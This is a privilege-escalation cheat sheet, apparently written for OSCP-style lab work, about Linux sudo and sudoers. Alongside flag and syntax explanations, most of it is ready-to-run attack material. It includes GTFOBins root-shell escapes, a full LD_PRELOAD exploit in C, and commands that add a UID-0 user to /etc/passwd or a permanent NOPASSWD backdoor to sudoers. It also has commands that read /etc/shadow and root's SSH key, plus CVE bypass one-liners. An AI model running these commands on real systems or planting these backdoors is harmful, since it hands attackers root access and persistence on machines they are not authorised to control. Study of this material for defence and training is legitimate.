sudo — Command, sudoers & Privilege Escalation

Ctrl+F: sudo -l · NOPASSWD · visudo · /etc/sudoers · ALL=(ALL) · GTFOBins

sudo lets a user run commands as another user (usually root). Misconfigs and writable sudoers files are one of the first Linux privesc checks on every box.

Full Linux privesc hub → Linux · methodology → Privilege escalation


Install / version

which sudo
sudo --version
sudo -V                    # verbose version (check for known CVEs)
CVEVersions (approx)Note
CVE-2019-14287sudo < 1.8.28(ALL, !root) bypass — sudo -u#-1 /bin/bashsudo CVE-2019-14287 - User ID -1 Bypass
Baron Samedit CVE-2021-3156sudo 1.8.2 – 1.8.31p2, 1.9.0 – 1.9.5p1Heap overflow — Baron Samedit - CVE-2021-3156 (no sudoers needed)

📌 1) sudo command — flags & examples

Syntax

sudo [options] command
sudo [options] -u user command

Common flags

FlagLongDescription
-l--listList allowed commands for current user (privesc gold)
-u--userRun as user (e.g. -u root, -u postgres)
-g--groupRun with primary group set
-s--shellRun shell (uses $SHELL or /bin/sh)
-i--loginLogin shell as target user (loads env, cd ~)
-E--preserve-envKeep most environment variables
-H--set-homeSet HOME to target user’s home
-n--non-interactiveFail if password required (scripts / cron)
-S--stdinRead password from stdin
-k--reset-timestampForce password prompt next time
-K--remove-timestampRemove cached timestamp entirely
-v--validateRefresh / check auth timestamp
-b--backgroundRun command in background
-p--promptCustom password prompt string
-A--askpassUse helper program for password

Examples

sudo -l                                    # WHAT CAN I RUN? — run first every box
sudo -l -U alfredo                         # List another user's rules (if allowed)
 
sudo -u root id                            # Run one command as root
sudo -u www-data whoami
 
sudo su                                    # Root shell (needs sudo su in sudoers)
sudo -i                                    # Root login shell
sudo -s                                    # Root-ish shell ($SHELL)
sudo /bin/bash                             # If (ALL) ALL or shell allowed
sudo /bin/sh
 
sudo -u postgres psql                      # Pivot to DB user
sudo -n /usr/bin/backup.sh                 # Non-interactive — fails if pass needed
 
echo 'password' | sudo -S id               # Password on stdin (scripting)
sudo -v                                    # Extend sudo timestamp (default ~5–15 min)
sudo -k                                    # Invalidate timestamp — ask pass again

Reading sudo -l output

User www-data may run the following commands on target:
    (root) NOPASSWD: /usr/bin/find
    (ALL) /bin/bash
    (root) /bin/vi /var/log/*.txt
    (postgres) PASSWD: /usr/bin/psql
Defaults env_keep += "LD_PRELOAD"
PartMeaning
(root)May only run as root
(ALL)May run as any user on the system
(postgres)May run as user postgres only
NOPASSWD:No password required for listed command(s)
(no NOPASSWD)Your password required (default)
PASSWD:Explicit — password required
Specific pathOnly that binary/path — exploit via GTFOBins or wildcards
ALLAny command allowed (very dangerous)
env_keep += LD_PRELOADLD_PRELOAD privesc — see below

📌 2) sudoers file — syntax & meaning

Where rules live

PathPurpose
/etc/sudoersMain config — edit with visudo only
/etc/sudoers.d/*Drop-in snippets (e.g. 10-installer, custom rules)
%groupEntire Unix group gets the rule
ls -la /etc/sudoers /etc/sudoers.d/
cat /etc/sudoers 2>/dev/null          # readable on some misconfigs
grep -r . /etc/sudoers.d/ 2>/dev/null

Line format

user  host  =(runas_user:runas_group)  tag:command1, command2, ...

Shorthand: user ALL=(ALL) ALL — user on all hosts, run as all users, all commands.

Field breakdown

FieldExampleMeaning
UseralfredoWho this rule applies to
%sudoGroup (leading %)
%adminGroup admin on Debian/Ubuntu
HostALLAny hostname
targetOnly on host named target
Runas(ALL)Run as any user
(ALL:ALL)Any user and any group
(root)Only as root
(postgres)Only as postgres
TagNOPASSWD:No password
PASSWD:Password required (default)
NOEXEC:Can’t run other programs from this command
SETENV:Can set env vars (check env_keep / env_reset)
CommandsALLAny command
/usr/bin/findOnly that binary
/bin/vi /var/log/*.txtvi with args matching wildcard
!/usr/bin/suNegation — everything except su

Examples — most to least permissive

# Full root, no password — game over
alfredo ALL=(ALL) NOPASSWD: ALL
 
# Full root, password required each time (or within timestamp)
alfredo ALL=(ALL) ALL
 
# Same, modern Ubuntu group syntax
%sudo   ALL=(ALL:ALL) ALL
 
# One binary as root, no password — GTFOBins
www-data ALL=(root) NOPASSWD: /usr/bin/find
 
# One binary as root, password needed
deploy ALL=(root) /usr/bin/systemctl restart apache2
 
# Editor with path wildcard — path traversal / wildcard tricks
user ALL=(root) /bin/vi /var/log/*.txt
 
# Run as postgres only
dev ALL=(postgres) NOPASSWD: /usr/bin/psql
 
# Allow env abuse
Defaults env_keep += "LD_PRELOAD"
www-data ALL=(root) NOPASSWD: /usr/bin/find

What you see vs what to do

sudo -l showsAction
(ALL) NOPASSWD: ALLsudo su or sudo /bin/bash — instant root
(ALL) ALL + you know passwordsudo -i
(root) NOPASSWD: /usr/bin/findsudo find / -exec /bin/sh \; -quit
(root) NOPASSWD: /usr/bin/visudo vi:!/bin/sh
(root) /bin/vi /var/log/*.txtWildcard / ../../ path tricks
env_keep += LD_PRELOADMalicious .so — see §5

GTFOBins — sudo


📌 3) visudo — safe editing

Never edit /etc/sudoers with a normal editor unless you must (broken syntax = locked out of sudo).

sudo visudo                              # Opens /etc/sudoers with syntax check
sudo visudo -f /etc/sudoers.d/alfredo    # Edit drop-in file
BehaviorDetail
Syntax checkvisudo validates before saving
Default editor$EDITOR or nano/vi on many systems
Drop-insPrefer /etc/sudoers.d/ over editing main file

Legitimate add (as root)

sudo visudo
# Add at bottom:
alfredo ALL=(ALL) NOPASSWD: ALL

Or drop-in:

echo 'alfredo ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/alfredo
sudo chmod 440 /etc/sudoers.d/alfredo
sudo visudo -c                              # Validate all sudoers files

Privesc — append without visudo (when you already have root)

Cron/tar wildcard, writable sudoers, or sudo tee:

echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "alfredo ALL=(ALL) NOPASSWD: ALL" | sudo tee -a /etc/sudoers
echo "alfredo ALL=(ALL) NOPASSWD: ALL" | sudo tee /etc/sudoers.d/alfredo
chmod 440 /etc/sudoers.d/alfredo

Then as alfredo:

sudo -l
sudo su
sudo -i
# No password prompt if NOPASSWD

Writable sudoers (rare — check permissions)

ls -la /etc/sudoers /etc/sudoers.d/
find /etc/sudoers.d -writable 2>/dev/null
# If writable as your user — append your line directly
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

📌 4) Privesc — abuse sudo -l (GTFOBins)

Run sudo -l first. If anything is listed, try GTFOBins for that binary.

Instant root shells

sudo su
sudo -i
sudo -s
sudo /bin/bash
sudo /bin/sh

Editors → shell

sudo vi
:!/bin/sh
 
sudo vim -c ':!/bin/bash'
 
sudo nano
# Ctrl+R Ctrl+X → reset; sh 1>&0 2>&0
 
sudo less /etc/passwd
!/bin/sh

Common misconfigured binaries

# find
sudo find / -exec /bin/sh \; -quit
 
# awk
sudo awk 'BEGIN {system("/bin/sh")}'
 
# python / perl / ruby
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/sh"'
sudo ruby -e 'exec "/bin/sh"'   # → [[Ruby]]
 
# env
sudo env /bin/bash
 
# cp / tee — overwrite privileged files
echo "root2:$(openssl passwd -1 pass):0:0::/root:/bin/bash" | sudo tee -a /etc/passwd
su root2
 
# systemctl (if allowed)
sudo systemctl start /bin/bash   # some versions / misconfigs

openssl passwd · Restricted Shell Escape

Wildcard in sudo path

If allowed: sudo /bin/vi /var/log/*.txt

sudo /bin/vi /var/log/../../etc/shadow
sudo /bin/cat /var/log/../../../etc/shadow

Read sensitive files (no shell yet)

sudo cat /etc/shadow
sudo cat /root/.ssh/id_rsa
sudo ls /root

📌 5) Privesc — LD_PRELOAD

When sudo -l shows env_keep += "LD_PRELOAD" (or SETENV on allowed command):

cat > /tmp/evil.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/evil.so /tmp/evil.c
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find    # use YOUR allowed binary

📌 6) Privesc — add user / group to sudo

Append NOPASSWD line (root context)

echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

Add user to sudo group (needs root)

usermod -aG sudo alfredo
usermod -aG wheel alfredo          # RHEL/CentOS
# User must re-login; then password for sudo unless NOPASSWD

Writable /etc/group

# If you can write /etc/group — add yourself to sudo line:
# sudo:x:27:alfredo
grep sudo /etc/group

Tar cron wildcard → sudoers

Root cron runs tar ... * in your writable dir → shell.sh appends sudoers line:

echo "alfredo ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

Linux > Wildcard injection in cron (tar *)

Writable /etc/passwd (different path — not sudoers)

Add user with UID 0 or blank password — see openssl passwd and Linux > Writable /etc/passwd.


📌 7) sudo timestamp & groups

# Default: after auth, sudo won't ask again for ~5–15 min
sudo -v                    # refresh
sudo -k                    # kill timestamp
 
# Who is in sudo group?
grep -E '^sudo|^wheel' /etc/group
id
groups
DistroAdmin group
Debian/Ubuntusudo
RHEL/CentOS/Fedorawheel

📌 Quick OSCP cheat sheet

# Enum
sudo -l
sudo -V
ls -la /etc/sudoers /etc/sudoers.d/
cat /etc/sudoers 2>/dev/null
 
# Easy wins
sudo su
sudo /bin/bash
sudo find / -exec /bin/sh \; -quit
sudo vi :!/bin/sh
 
# Grant yourself NOPASSWD (as root)
echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo visudo -c
 
# After NOPASSWD
sudo -i